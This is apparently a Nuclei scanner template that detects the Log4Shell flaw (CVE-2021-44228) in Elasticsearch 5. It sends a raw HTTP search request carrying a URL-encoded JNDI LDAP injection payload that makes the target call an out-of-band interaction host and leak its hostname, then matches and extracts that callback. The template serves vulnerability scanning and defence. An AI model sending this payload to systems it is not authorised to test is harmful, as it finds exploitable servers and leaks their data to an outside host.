54 lines
1.6 KiB
YAML
54 lines
1.6 KiB
YAML
id: elasticsearch5-log4j-rce
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info:
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name: Elasticsearch 5 - Remote Code Execution (Apache Log4j)
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author: akincibor
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severity: critical
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description: |
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Elasticsearch 5 is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
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reference:
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- https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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verified: "true"
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tags: jndi,log4j,rce,oast,elasticsearch,cve,cve2021,kev
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requests:
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- raw:
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- |
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GET /_search?a=$%7Bjndi%3Aldap%3A%2F%2F%24%7BhostName%7D.{{interactsh-url}}%7D HTTP/1.1
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Host: {{Hostname}}
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{
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
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extractors:
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- type: kval
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kval:
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- interactsh_ip # Print remote interaction IP in output
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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# Enhanced by md on 2022/10/04
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